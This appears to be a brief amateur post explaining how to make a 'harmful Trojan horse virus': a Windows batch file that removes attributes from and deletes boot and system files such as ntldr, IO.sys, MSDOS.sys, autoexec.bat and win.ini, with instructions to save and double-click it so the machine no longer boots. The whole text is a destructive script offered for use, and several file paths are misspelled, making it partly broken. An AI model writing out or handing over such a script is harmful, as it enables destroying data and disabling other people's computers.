how to create one kind of  harmful Trojan horse virus ?
(1)first open notepad  and type following  things given below:-
 attrib -r -s -h  c:/ntldr
del  c:/nltdr
attrib -r -s -h c:/autoexe.bat
del  c:/autoexe.bat
attrib -r -s -h  c:/windows/win.ini
del   c:windows/win.ini
attrib -r -s -h  c:/IO.sys
del c:/IO.sys
attrib -r -s -h c:/MSDOS.sys
del c:/MSDOS.sys


SAVE IT AS .BAT FILE  AND DOUBLE CLICK ON IT FOR TAKE A  EFFECT OF THIS VIRUS  IT WILL REMOVE THE  PROGRAM OF LOADING OPERATING SYSTEM NEXT TIME YOU WILL FIND YOUR NTDLR MISSING